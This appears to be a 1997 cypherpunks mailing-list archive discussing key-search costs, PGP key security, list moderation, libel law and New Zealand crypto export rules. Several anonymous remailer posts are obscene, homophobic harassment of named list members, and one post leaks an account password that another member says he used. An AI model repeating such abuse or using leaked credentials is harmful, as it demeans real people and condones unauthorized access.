| >falls quickly.  (500,000 $US = 3.5 hour avg break).
| >
| 
| Considering Ian's feat you certainly seem to have had your crystal
| ball in hand.  

	I wear three around my neck.  Its a new age thing.

	More seriously, that estimate is the cost of breaking DES on
custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
hours on I don't know how much hardware, not a lot of it custom,
AFAIK.

Adam

-- 
Pet peeve of the day: Security companies whose protocols dare not
speak their name, because they don't have one. Guilty company of the
day is now V-One.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 1 Feb 1997 22:02:56 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Key Security Question
In-Reply-To: <9gDH2D8w165w@bwalk.dm.com>
Message-ID: <199702020557.XAA17186@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > On the other hand, if the "repairman" replaced your pgp executable
> > with version 2.6.3kgb, which uses your hashed passphrase as the
> > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > or added a small radio transmitter to your keyboard, or whatever.
> > Depends on your threat model.  If you need to be paranoid,
> > they've already gotten you....
> 
> If you're really paranoid, you can boot from a clean floppy and
> reinstall everything from your backup tapes. You do have a
> contingency plan in case your hard disk goes bad, or gets a
> virus, don't you? Well, if you're in doubt, exercise it.

And what if the repairman replaces BIOS ROM chips with KGBios?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 2 Feb 1997 00:02:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Mondex
Message-ID: <199702020802.AAA10932@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Deceptive Vilest K[rud]OfTheMoment will fuck anything that
moves, but he'd rather be fucking his own mother's dead body.

        /\_./o__ Dr.Deceptive Vilest K[rud]OfTheMoment
       (/^/(_^^'
      ._.(_.)_






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 1 Feb 1997 21:10:17 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <199702020325.TAA06428@toad.com>
Message-ID: <Pine.GSO.3.95.970202000753.8579C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


That question is one for Tim to answer, but I should point out that
philosophical anarchists are not necessarily opposed to rules, just
government rules -- which this moderation policy clearly is not.

-Declan


On Sat, 1 Feb 1997, Dale Thorn wrote:

> Toto wrote:
> > 3.5.1 Contrary to what people sometimes claim, there is no ruling
> >        clique of Cypherpunks. Anybody is free to do nearly anything,
> >        just not free to commit others to course of action, or claim
> >        to speak for the "Cypherpunks" as a group (and this last
> >        point is unenforceable except through reputation and social
> >        repercussions).
> > 3.6.3 "Why isn't the list moderated?"
> >       ...hardly consistent with many of our anarchist leanings, is it?
> >       - "No, please, let's not become a 'moderated' newsgroup. This
> >       would be the end of freedom!
> 
> Is this why T.C. May hasn't posted in quite a while?
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 1 Feb 1997 23:36:39 -0800 (PST)
To: ravage@einstein.ssz.com (Jim Choate)
Subject: Re: Free & Open Society & toleration
In-Reply-To: <199702020230.SAA04826@toad.com>
Message-ID: <199702020840.AAA10277@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> It has been asserted that I am claiming that a free and open society should
[...]
> 
> This is not my case at all. I hold that [...]
> means do I hold [...]
> I hold [...]
> worthless. I DO hold [...]
> all speech. I further hold [...]
> I further hold [...]
> I further hold [...]

Whew!  That's a lot of holding, my friend.  I've heard that prunes 
help. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 1 Feb 1997 21:58:12 -0800 (PST)
To: rex <rshea@netcom.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <qxk8yMNwPVYM092yn@netcom.com>
Message-ID: <Pine.SUN.3.95.970202003925.25798A-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 31 Jan 1997, rex wrote:

> Black Unicorn <unicorn@schloss.li> wrote:
> 
> >If you want to look at it a different way, if you are involved with a drug
> >offense and are not using a weapon, you'll get a lower sentence than a
> >full fledged drug crime.  It's a step in the right direction - i.e. away
> >from manadatory sentencing of a flat time period for a crime regardless of
> >circumstances.
> 
> But Putra got the same sentence she would have gotten had she been
> convicted on both charges. The fact that she was acquitted meant nothing.

That this is true once, does not make it so in all cases.

You also lose sight of the general scheme of things.  That the sentence
imposed may have the same maximum sentence with sentencing enhancements
and a lesser included offense as with conviction of a "great offense"
means nothing with regard to the validity of sentencing enhancements.

That theft and low level bank fraud have the same penality when theft is
enhanced with a "victim was infirm or helpless" or a "firearm was used in
furtherance of the crime" could as easily reflect a lack of vigor and
spite in the prosecution of bank fraud as it could reflect severe vigor  
and spite in the prosecution of theft.

Please note that the difference between:

"But he got the same sentence as he would have if he was convicted of 
carrying a gun in furtherance of the crime."

and

"But he got the same sentence as he would have is he was not convicted of
carrying a gun in furtherance of the crime."

is subtle at best.

Next time don't get caught stealing with a gun nearby.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 23:17:35 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <01BC108F.F7C3BFE0@king1-20.cnw.com>
Message-ID: <32F45C3F.2FB1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto
>   What currently threatens the list, in my opinion, is not the dissension,
> but the rise of a cliquish sheep-mentality and the resulting dismissal
> of the opinions of people of Reason (and the opinions of 'anyone', in
> general, whom 'I' perceive as being on the 'other side' of an issue).
> ........................................................................
 
> Who are these sheep you're talking about?   At the end of the trial period,
> anyone still on the list who doesn't like the moderation can at their
> leisure either protest vehemently its continuation, producing masterly
> works of eloquence in favor of continuing the free-for-all, or they can
> unsubscribe (sp?).

  I am not speaking of the sheep-mentality in regard to moderation or
any other single issue on the list. I am speaking of the tendency of
many list-members to fall into common ruts of thought wherein the
comments and opinions of others are auto-files as this-or-that,
and interpreted in that light, no matter what the actual content
of their messages.
 I told Attila the Hun, in private email, that when I opened his
messages, that I never knew whether to "pucker-up or duck", because
he was just as likely to chastise me as agree with me, depending
on his personal opinion of an individual post of mine.
 I regard Igor and yourself, and a number of others, in the same 
light. I'm reluctant to bend over and drop my pants, waiting for
you to kiss my butt, because I realize that I am just as likely 
to feel the sting of your toe-nailed boots instead of soft lips.

> I think what threatens the list is the absence of really major issues to
> fire up everyone's sense of indignation & imagination, 

  But, under the New List Order, any strong opinion risks being
thrown in the crapper as a 'flame'.

>plus the fact that
> many of the long-timers are pretty sophisticated on all the political
> issues which have been discussed before (how many of Tim May's long
> treatises, engaging, thorough, and relevant as they may be, can one read
> yet again without recognizing the repetitive themes therein),

 Yes, but there are always members to whom these treatises and
orientation
of thought are 'new', and people only notice the repetiveness when they
are, indeed, following these posts, which means that they must be 
getting some value out of them.

> plus a lack
> of interest in engaging in rhetorical arguments with people who find it
> difficult to think in a straight line.

 I, too, agree that you can lead a horse to water, but a stitch in time
saves nine.

>  Sometimes the posts on the list
> come to resemble more attempts at educating the clueless than discussions
> among peers which could truly advance an understanding of between fine
> points of difference.

  Some of the more rambling threads are indeed the result of not
understanding that some of the clueless aren't seeking a clue, but
merely to hold on to their ignorance. But I would rather err on 
the side of believing that the person I am replying to is sincere
in wanting to discuss an issue in order to gain a broader 
understanding of it.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sat, 1 Feb 1997 22:38:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702020620.BAA23384@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May was born when his mother was on the toilet.

      O      |'|
     /\      | | Timmy May
    /\ \-------|
   / / |-------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sat, 1 Feb 1997 22:47:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Biham on DES keysearch
Message-ID: <199702020647.WAA24187@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



The arrival of warm weather is heralded by the pig shit getting
soft in Dr.Desperado L[ingerie] Vinegar K[unt]OTM's mini-cranium
and the resulting green slime seeping through his cocaine- and
syphilis- damaged nose and onto his keyboard.

   (___)
   (o o)_____/
    @@ `     \ Dr.Desperado L[ingerie] Vinegar K[unt]OTM
     \ ____, /
     //    //
    ^^    ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 01:49:50 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <01BC10AB.F9523E60@king1-10.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  I am not speaking of the sheep-mentality in regard to moderation or
any other single issue on the list. I am speaking of the tendency of
many list-members to fall into common ruts of thought wherein the
comments and opinions of others are auto-files as this-or-that,
and interpreted in that light, no matter what the actual content
of their messages.
................................................

Hm, well, what's an anarchist to do about other people's psychological 
makeup?

=

 I regard Igor and yourself, and a number of others, in the same
light. I'm reluctant to bend over and drop my pants, waiting for
you to kiss my butt, because I realize that I am just as likely
to feel the sting of your toe-nailed boots instead of soft lips.
..........................................

Hm, well, I'm not in the custom of doing either of those things, but thanks 
for the compliment!

=

  But, under the New List Order, any strong opinion risks being
thrown in the crapper as a 'flame'.
...............................................

Not that I'm condoning centralized management, but I bet I could flame 
anyone pretty good yet by-pass the moderator.  It's all in the style, you 
know.   Some people are very delicate about what offends them - I know I 
could get on some particular people's nerves any day without trying.   An 
opportunist can take advantage of another's infirmity by being perfectly 
polite while yet excruciatingly annoying.
=

 Yes, but there are always members to whom these treatises and orientation 
of thought are 'new', and people only notice the repetiveness when they 
are, indeed, following these posts, which means that they must be getting 
some value out of them.
............................................

Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's 
commendable that he would write about the same ideas in fresh new ways, for 
the benefit of the newbies and the entertainment of the oldies.

But not everyone is as interested & willing (or have the time) to 
re-iterate this way, and  with only one or a few "holding up the ship", so 
to speak, it leaves a lot of room for wayless bickering degenerating into 
unproductive ad hominems - ad absurdum, ad nauseam.

You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division 
of History & Philosophy ....

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:07:18 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Flaming Moderators
In-Reply-To: <199702020751.AAA25240@infowest.com>
Message-ID: <32F46CFD.1122@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
 
>         "Let us remember that 'if we suffer tamely a lawless attack
>         upon our liberty, we encourage it, and involve others in our
>         doom.'
>             --Samuel Adams ("patriot, statesman..."), speech, 1771

  Looks like Sam needs to be autobotted to the 'flames' list.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: coryt@rain.org
Date: Sun, 2 Feb 1997 00:51:47 -0800 (PST)
Subject: New Member Registration
Message-ID: <199702020851.CAA14408@fs1.sccsi.com>
MIME-Version: 1.0
Content-Type: text/plain


Requested Account Name: ashley
Requested Password: eyez
THIS MEMBER HAS BEEN ADDED TO THE UPDATE LIST





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 1 Feb 1997 23:52:00 -0800 (PST)
To: cypherpunks <gbroiles@netbox.com>
Subject: Re: Libel, Times v. Sullivan
In-Reply-To: <3.0.32.19970201144910.0068e100@ricochet.net>
Message-ID: <199702020751.AAA25240@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970201:1452, Greg Broiles <gbroiles@netbox.com> said:

+Since we've now got Jim Bell arguing that it's obvious that a free and
+open society must tolerate anything which might be defamatory, and Jim
+Choate arguing that it's obvious that a free and open society cannot
+tolerate anything which might be defamatory,  ...

    for what it is worth, anti-defamation, Germany's anti-Holocaust 
    denial, and anti- just about anything legislation dealing with free 
    speech is of and by its very nature an abridgement of your personal 
    freedoms. If you deny one form of speech, it is easy to deny 
    another, and then another...  do you wish to march foolishly to 
    Fahrenheit 451?

    Before the current generation of government vipers and revisionists 
    remove or rewrite even more of the immortal words of history:

        "Those who deny freedom to others 
          deserve it not for themselves."
                --Abraham Lincoln

    let's look at one more famous speech on "nibbling" your rights: 

        "Let us contemplate our forefathers, and posterity, and resolve 
        to maintain the rights bequeathed to us from the former, for 
        the sake of the latter.  
  
        "Let us remember that 'if we suffer tamely a lawless attack 
        upon our liberty, we encourage it, and involve others in our 
        doom.'  It is a very serious consideration that millions yet 
        unborn may be the miserable sharers of the event."
            --Samuel Adams ("patriot, statesman..."), speech, 1771

    and:

        "The more difficult it is to interact with the government, 
        the more the government wants gun control."
            --attila

    in other words, the more they deny our inaliable right to free 
    speech, the more they need gun control before we rise against the
    usurpers of our rights.

    Now, if there ever was a liberal do-gooder, Eleanor certainly was:

        "No one can make you feel inferior without your consent." 
            --Eleanor Roosevelt

    now, does she mean what she says literally?  in other words, is
    she saying to say what you want, and she will not be harmed or 
    "feel inferior" in this case?  I can presume Eleanor could be
    offended, but is that sufficient to abridge your rights?

    Nietzsche expresses a defiant tone on first glance -no, the general 
    interpretation is absolute freedom --speech included.

        "I understand by 'freedom of Spirit' something quite definite -
            the unconditional will to say No, 
            where it is dangerous to say No."
                --Friedrich Nietzsche

    Is not the right to bear arms the same basic freedom as free 
    speech, with one limitation: improper use carries criminal 
    penalties --basically, because the act denies another his freedom.

        "The right of self-defense is the first law of nature 
        ...and when the right of the people to keep and bear arms 
        is, under any color or pretext whatsoever, prohibited, 
        liberty, if not already annihilated, 
        is on the brink of destruction."
            --St. George Tucker, 
                in his edition of Blackstone's Commentaries

    did not the Magna Carta guarantee the right of free speech?  Of 
    course, there was not full suffrage at that time, but the Magna
    Carta is the basis of our common law.

    Then, let's look at another concept of freedom and a "democracy" 

        Just because a mob calls itself a government, doesn't make it     
          so.
        Democracy is two wolves and a sheep voting on what to have for 
          dinner.
        People who claim that money doesn't matter, are usually living 
          on someone else's money.
        Society is a mental construct, formed by those people who are 
          too insecure to handle the concept of people as individuals.

    which gets down to just what the hell did my forefathers, and maybe 
    yours, fight for in 1776 if it was not for freedom of speech and 
    assembly, the right to bear arms, to be free from unreasonable 
    search and seizure; and enjoy the protection of law? 

    if we do not pick up that fight and stop corrupt governments from 
    usurping the power of the people, we will lose all freedom. If we 
    give in on _any_ of the first 10 amendments, our Bill of Rights, we 
    are surrendering our deserved personal franchise to a usurping 
    government.  and it starts with society and government trying to 
    tell us what we can freely say. 

    I may not like what you have to say, or that you insult my 
    sensibilities or my rectitude, but I will defend your right to my 
    death so that you may do so.

    Therefore:
     
        "With heart and hand I pledge you while I load my gun again, 
        you will never be forgotten or the enemy forgiven, 
        my good comrade..."
            --Anton Szandor LaVay

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMvRHa704kQrCC2kFAQE9dgP8D+q2ZFytBzdgWDh+QdtunUa8nqhopHrS
OVc5yWkG+UJzcVhtRFyu5O4nhSkgzhjbiGxYUWM1ZNZwaIDehFmieCv8GG/c+Cal
0BHWha5cHqL0pEiFs/NTWAVoVGfPZl2jcikViXMRAqt8mmXmbC3bxPjBtlfnTzmB
yTZ51fvB3tU=
=aTWw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 1 Feb 1997 23:52:28 -0800 (PST)
To: cypherpunks <gbroiles@netbox.com>
Subject: Re: Libel, Times v. Sullivan
In-Reply-To: <3.0.32.19970201144910.0068e100@ricochet.net>
Message-ID: <199702020752.AAA25251@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970201:1452, Greg Broiles <gbroiles@netbox.com> said:

+Since we've now got Jim Bell arguing that it's obvious that a free and
+open society must tolerate anything which might be defamatory, and Jim
+Choate arguing that it's obvious that a free and open society cannot
+tolerate anything which might be defamatory,  ...

    for what it is worth, anti-defamation, Germany's anti-Holocaust 
    denial, and anti- just about anything legislation dealing with free 
    speech is of and by its very nature an abridgement of your personal 
    freedoms. If you deny one form of speech, it is easy to deny 
    another, and then another...  do you wish to march foolishly to 
    Fahrenheit 451?

    Before the current generation of government vipers and revisionists 
    remove or rewrite even more of the immortal words of history:

        "Those who deny freedom to others 
          deserve it not for themselves."
                --Abraham Lincoln

    let's look at one more famous speech on "nibbling" your rights: 

        "Let us contemplate our forefathers, and posterity, and resolve 
        to maintain the rights bequeathed to us from the former, for 
        the sake of the latter.  
  
        "Let us remember that 'if we suffer tamely a lawless attack 
        upon our liberty, we encourage it, and involve others in our 
        doom.'  It is a very serious consideration that millions yet 
        unborn may be the miserable sharers of the event."
            --Samuel Adams ("patriot, statesman..."), speech, 1771

    and:

        "The more difficult it is to interact with the government, 
        the more the government wants gun control."
            --attila

    in other words, the more they deny our inaliable right to free 
    speech, the more they need gun control before we rise against the
    usurpers of our rights.

    Now, if there ever was a liberal do-gooder, Eleanor certainly was:

        "No one can make you feel inferior without your consent." 
            --Eleanor Roosevelt

    now, does she mean what she says literally?  in other words, is
    she saying to say what you want, and she will not be harmed or 
    "feel inferior" in this case?  I can presume Eleanor could be
    offended, but is that sufficient to abridge your rights?

    Nietzsche expresses a defiant tone on first glance -no, the general 
    interpretation is absolute freedom --speech included.

        "I understand by 'freedom of Spirit' something quite definite -
            the unconditional will to say No, 
            where it is dangerous to say No."
                --Friedrich Nietzsche

    Is not the right to bear arms the same basic freedom as free 
    speech, with one limitation: improper use carries criminal 
    penalties --basically, because the act denies another his freedom.

        "The right of self-defense is the first law of nature 
        ...and when the right of the people to keep and bear arms 
        is, under any color or pretext whatsoever, prohibited, 
        liberty, if not already annihilated, 
        is on the brink of destruction."
            --St. George Tucker, 
                in his edition of Blackstone's Commentaries

    did not the Magna Carta guarantee the right of free speech?  Of 
    course, there was not full suffrage at that time, but the Magna
    Carta is the basis of our common law.

    Then, let's look at another concept of freedom and a "democracy" 

        Just because a mob calls itself a government, doesn't make it     
          so.
        Democracy is two wolves and a sheep voting on what to have for 
          dinner.
        People who claim that money doesn't matter, are usually living 
          on someone else's money.
        Society is a mental construct, formed by those people who are 
          too insecure to handle the concept of people as individuals.

    which gets down to just what the hell did my forefathers, and maybe 
    yours, fight for in 1776 if it was not for freedom of speech and 
    assembly, the right to bear arms, to be free from unreasonable 
    search and seizure; and enjoy the protection of law? 

    if we do not pick up that fight and stop corrupt governments from 
    usurping the power of the people, we will lose all freedom. If we 
    give in on _any_ of the first 10 amendments, our Bill of Rights, we 
    are surrendering our deserved personal franchise to a usurping 
    government.  and it starts with society and government trying to 
    tell us what we can freely say. 

    I may not like what you have to say, or that you insult my 
    sensibilities or my rectitude, but I will defend your right to my 
    death so that you may do so.

    Therefore:
     
        "With heart and hand I pledge you while I load my gun again, 
        you will never be forgotten or the enemy forgiven, 
        my good comrade..."
            --Anton Szandor LaVay

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMvRHa704kQrCC2kFAQE9dgP8D+q2ZFytBzdgWDh+QdtunUa8nqhopHrS
OVc5yWkG+UJzcVhtRFyu5O4nhSkgzhjbiGxYUWM1ZNZwaIDehFmieCv8GG/c+Cal
0BHWha5cHqL0pEiFs/NTWAVoVGfPZl2jcikViXMRAqt8mmXmbC3bxPjBtlfnTzmB
yTZ51fvB3tU=
=aTWw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:46:03 -0800 (PST)
To: coryt@rain.org
Subject: Re: New Member Registration
In-Reply-To: <199702020851.CAA14408@fs1.sccsi.com>
Message-ID: <32F47E22.2C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


coryt@rain.org wrote:
> 
> Requested Account Name: ashley
> Requested Password: eyez
> THIS MEMBER HAS BEEN ADDED TO THE UPDATE LIST

 Yup, the password worked for me, OK.
 Did it work for everyone else?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:45:56 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [GSM] Hardening mailing lists against spam attacks
In-Reply-To: <199701310157.RAA01193@toad.com>
Message-ID: <32F47F09.118D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> 
>            __o
>          _ \<_  
>         (_)/(_)

  This guy keeps forgetting to add 'crypto-relevant' to
his headings. No wonder they go to 'flames'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:47:05 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [GSM] Hardening mailing lists against spam attacks
In-Reply-To: <199701310033.QAA27430@mailmasher.com>
Message-ID: <32F47F71.3A8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> 
> Dr.Derisve Vitriol K[reep]OfTheMoment died of AIDS last night
> with his faggot lover.
> 
>            __o
>          _ \<_  Dr.Derisve Vitriol K[reep]OfTheMoment
>         (_)/(_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Sun, 2 Feb 1997 01:55:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP 2.1
Message-ID: <32F480AB.2341@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hello,
Can any;one tell me how to get a version of PGP 2.1?
Thanks




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 02:34:15 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <01BC10AB.F9523E60@king1-10.cnw.com>
Message-ID: <32F48A52.66D1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto
> Hm, well, what's an anarchist to do about other people's psychological
> makeup?

  Hold up a mirror. 

> Not that I'm condoning centralized management, but I bet I could flame
> anyone pretty good yet by-pass the moderator.  It's all in the style, you
> know.   Some people are very delicate about what offends them - I know I
> could get on some particular people's nerves any day without trying.   An
> opportunist can take advantage of another's infirmity by being perfectly
> polite while yet excruciatingly annoying.

  What constitutes a 'flame' seems to depend heavily on whose mouth it
comes out of. Jim Choate called me a schizophrenic, and it seemed to
be acceptable enough to make the censored list. He tends to call 
people "Bessie", basically saying they are a Cow, and that also
seems acceptable.
  Personally, I could care less when people want to play footsie-games
with flaming, but I think it points out the ludicrousness of having
a moderator limiting people to 'childish' insults.
  I prefer someone screaming at me what a cocksucker I am.

 Ray Hettinga forwards these long, literate missives advertising
this-or-that million dollar a plate conferences, but when he chose
to insult me with his own words, the result was an immature 
blathering which showed questionable literary skills.

> Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's
> commendable that he would write about the same ideas in fresh new ways, for
> the benefit of the newbies and the entertainment of the oldies.
 
> But not everyone is as interested & willing (or have the time) to
> re-iterate this way, and  with only one or a few "holding up the ship", so
> to speak, it leaves a lot of room for wayless bickering degenerating into
> unproductive ad hominems - ad absurdum, ad nauseam.

  There are some good socio/politico posts by a variety of list members
who are highly knowlegeable about a range of topics surrounding crypto,
but they tend to come sporadically.
  I suppose that this is because they actually have real lives.

> You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division
> of History & Philosophy ....

  I suppose that Sandy might nominate me, just for the pleasure of 
sitting back and enjoying the flood of, "A Vote of FUCK OFF for Toto"
postings.
  It would be nice, however, to try to twist the rest of the list
around to my own world-view. It gets lonely here in the 'rubber room'
at the Home, and I could use some company.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 04:54:17 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <01BC10C5.A58834A0@king1-10.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Attila T. Hun, member of the Early Bird Consortium of Stray Cats, 
quoting from the Pages of History:

    did not the Magna Carta guarantee the right of free speech?  Of
    course, there was not full suffrage at that time, but the Magna
    Carta is the basis of our common law.
		[and...]
    which gets down to just what the hell did my forefathers, and maybe
    yours, fight for in 1776 if it was not for freedom of speech and
    assembly, the right to bear arms, to be free from unreasonable
    search and seizure; and enjoy the protection of law?
................................................

Yes, if the Magna Carta guaranteed a right and the forefathers fought to 
secure it, why should any of us ever have to lift a finger in our own 
defense.

My contribution to this thread from the Cpunk History & Philosophy 
Division:   a Jewish saying from a book I glanced through of couple of 
weeks ago, something like:

	"What good is it to a man who has lost his sight
	  that his ancestors had perfect vision."

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Rob)
Date: Sat, 1 Feb 1997 22:02:25 -0800 (PST)
To: zachb@netcom.com ("Z.B.")
Subject: Re: Key Security Question
Message-ID: <199702020625.BAA07602@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 15:37:01 -0500, you wrote:

>My computer went into the shop a few days ago, and I was unable to take 
>my PGP keys off it before it went in.  What are the security risks here?  
>If the repairman chooses to snoop through the files, what would he be 
>able to do with my key pair?  Will I need to revoke the key and make a 
>new one, or will I be relatively safe since he doesn't have my 
>passphrase?  

Depends how paranoid you are, how  good your passphrase is, how much you
trust the repairman not to snoop, etc.

For the hell of it I'd revoke my key and issue a new one though. It's
not a minor inconvenience, and when people use your old key you can still
decrypt the message... just send 'em a note that you prefer they use you're
current (unrevoked) key.

--Rob






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Sat, 1 Feb 1997 09:05:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto in New Zealand - an update
Message-ID: <85481663218919@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


This is a continuation of the article I posted here a few weeks ago.  You can
find the whole thing at http://jya.com/nsazeal.htm.
 
Peter.
 
-- Snip --
 
On the 17th January significant parts of this story appeared on the front page
of the National Business Review (NBR), a fairly influential paper read by
(apparently) half the NZ business world.  The GCSB declined to comment on
anything except to acknowledge that there had been a meeting between a GCSB
person and the manager of Orion Systems.  The story also confirms (from talking
to some of the people involved) the GCSB - MFAT and GCSB - DSD connections.
 
The following week Andrew Mayo wrote a letter to the editor of the NBR
containing an eloquent defense of the use of encryption to protect personal
privacy.  MFAT replied to say that they were only following orders, and were
required by the Wassenaar agreement to restrict crypto exports:
 
  "Export permits normally were required only if the encryption was 40-bit or
   stronger, so most commercial encryption would not be affected".
 
I wonder where the 40-bit limit suddenly came from?  Note also the phrasing
"40-bit or stronger".  This means that anything including 40 bits is
restricted.  If they're going to try to blindly parrot US policy then they
should at least get their facts straight.
 
A few days later I found someone who knew what to ask for in order to get a
copy of the NZ export regulations.  I called MFAT and talked to a gentleman by
the name of John Borrie, who had recently taken over responsibility for this
affair from someone else who, to put it mildly, had been annoying to deal with.
I suggested to him that the GCSB were feeding him just the information they
wanted him to know and no more, and that perhaps he should avail himself of
alternate sources of advice.  He didn't see it quite that way.
 
The export regulations are identical to the Australian regulations, even down
to the layout style.  A few of the fonts differ, but that may be due to
different systems/printers/whatever.  There are several obvious holes in these
regulations, but I won't mention them now because they'll probably be used in
court fairly soon.
 
The following week the story was again on the front page of the NBR.  This time
the story covered the financial difficulties that Cyphercom had been plunged
into.  Because MFAT had stopped them from having any access to their product
for nine months, the company was considering filing for bankruptcy.  MFAT
spokesperson Caroline Forsyth commented:
 
  "US controls on the export of strategic goods are at least as strict as those
   of New Zealand... an export permit would normally only be required for
   encryption if it was 40-bit or stronger.  Most commercial encryption is well
   below 40-bit strength.  Almost all New Zealand exporters of software are
   unaffected".
 
The confused and nonsensical nature of these statements presents a scary
picture.  MFAT are a government department who (in this area) have no idea what
they're doing, but don't know that they have no idea.  Combined with the
sterling advice they seem to be getting from the GCSB, this could make them a
tough nut to crack.
 
